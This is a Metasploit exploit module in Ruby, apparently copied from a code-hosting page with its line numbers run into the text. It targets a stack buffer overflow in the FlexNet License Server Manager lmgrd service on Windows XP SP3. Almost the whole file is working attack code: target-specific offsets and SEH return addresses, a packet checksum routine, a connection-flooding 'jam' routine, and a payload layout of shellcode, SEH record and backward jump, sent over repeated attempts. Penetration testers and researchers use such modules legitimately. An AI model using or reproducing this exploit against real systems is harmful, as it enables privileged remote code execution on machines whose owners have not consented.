Path: blob/master/modules/exploits/windows/license/flexnet_lmgrd_bof.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'FlexNet License Server Manager lmgrd Buffer Overflow',16'Description' => %q{17This module exploits a vulnerability in the FlexNet18License Server Manager.1920The vulnerability is due to the insecure usage of memcpy21in the lmgrd service when handling network packets, which22results in a stack buffer overflow.2324In order to improve reliability, this module will make lots of25connections to lmgrd during each attempt to maximize its success.26},27'Author' => [28'Luigi Auriemma', # Vulnerability Discovery and PoC29'Alexander Gavrun', # Vulnerability Discovery30'juan vazquez', # Metasploit module31'sinn3r' # Metasploit module32],33'License' => MSF_LICENSE,34'References' => [35[ 'OSVDB', '81899' ],36[ 'BID', '52718' ],37[ 'ZDI', '12-052' ],38[ 'URL', 'http://aluigi.altervista.org/adv/lmgrd_1-adv.txt' ],39[ 'URL', 'http://www.flexerasoftware.com/pl/13057.htm' ] # Vendor advisory40],41'Privileged' => true,42'DefaultOptions' => {43'EXITFUNC' => 'process'44},45'Payload' => {46'Space' => 400047},48'Platform' => 'win',49'Targets' => [50[ 'Debug', {} ],51[52'Autodesk Licensing Server Tools 11.5 / lmgrd 11.5.0.0 / Windows XP SP3',53{54'Offset' => 10476,55'ShellcodeOffset' => 5484,56'Ret' => 0x0047d01f # ppr from lmgrd.exe57}58],59[60'Alias License Tools 10.8.0.7 / lmgrd 10.8.0.7 / Windows XP SP3',61{62'Offset' => 7324,63'ShellcodeOffset' => 2332,64'Ret' => 0x004eda91 # ppr from lmgrd.exe65}66],67[68'Alias License Tools 10.8 / lmgrd 10.8.0.2 / Windows XP SP3',69{70'Offset' => 7320,71'ShellcodeOffset' => 2328,72'Ret' => 0x004eb2e1 # ppr from lmgrd.exe73}74],75],76'DefaultTarget' => 1,77'DisclosureDate' => '2012-03-23',78'Notes' => {79'Reliability' => UNKNOWN_RELIABILITY,80'Stability' => UNKNOWN_STABILITY,81'SideEffects' => UNKNOWN_SIDE_EFFECTS82}83)84)8586register_options(87[88Opt::RPORT(27000),89OptInt.new('Attempts', [ true, 'Number of attempts for the exploit phase', 20 ]),90OptInt.new('Wait', [ true, 'Delay between brute force attempts', 2 ]),91OptInt.new('Jam', [ true, 'Number of requests to jam the server', 100 ])92]93)94end9596def header_checksum(packet)97packet_bytes = packet.unpack("C*")98checksum = packet_bytes[0]99i = 2100while i < 0x14101checksum = checksum + packet_bytes[i]102i = i + 1103end104return (checksum & 0x0FF)105end106107def data_checksum(packet_data)108word_table = ""109i = 0110while i < 256111v4 = 0112v3 = i113j = 8114115while j > 0116if ((v4 ^ v3) & 1) == 1117v4 = ((v4 >> 1) ^ 0x3A5D) & 0x0FFFF118else119v4 = (v4 >> 1) & 0x0FFFF120end121v3 >>= 1122j = j - 1123end124125word_table << [v4].pack("S")126i = i + 1127end128k = 0129checksum = 0130data_bytes = packet_data.unpack("C*")131word_table_words = word_table.unpack("S*")132while k < packet_data.length133position = data_bytes[k] ^ (checksum & 0x0FF)134checksum = (word_table_words[position] ^ (checksum >> 8)) & 0x0FFFF135k = k + 1136end137return checksum138end139140def create_packet(data)141pkt = "\x2f"142pkt << "\x00" # header checksum143pkt << "\x00\x00" # data checksum144pkt << "\x00\x00" # pkt length145pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"146pkt << data147148pkt[4, 2] = [pkt.length].pack("n")149150data_sum = data_checksum(pkt[4, pkt.length - 4])151pkt[2, 2] = [data_sum].pack("n")152153hdr_sum = header_checksum(pkt[0, 20])154pkt[1] = [hdr_sum].pack("C")155156return pkt157end158159def jam160pkt = create_packet("")161162datastore['Jam'].times do163connect164sock.put(pkt)165disconnect166end167end168169def exploit170i = 1171while i <= datastore['Attempts'] and not session_created?172print_status("Attempt #{i}/#{datastore['Attempts']} to exploit...")173do_exploit174sleep(datastore['Wait'])175i = i + 1176end177178if not session_created?179print_error("Exploit didn't work after #{i} attempts")180end181end182183def do_exploit184t = framework.threads.spawn("jam", false) { jam }185my_payload = payload.encoded186187header_length = 20 # See create_packet() to understand this number188pkt_data = ""189if target.name =~ /Debug/190pkt_data << "a" * (65535 - header_length)191else192193pkt_data << rand_text(target['ShellcodeOffset'])194pkt_data << my_payload195pkt_data << rand_text(target['Offset'] - target['ShellcodeOffset'] - my_payload.length)196pkt_data << generate_seh_record(target.ret)197pkt_data << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5000").encode_string198pkt_data << rand_text(65535 - pkt_data.length - header_length)199end200201pkt = create_packet(pkt_data)202203connect204sock.put(pkt)205handler206disconnect207end208end209210211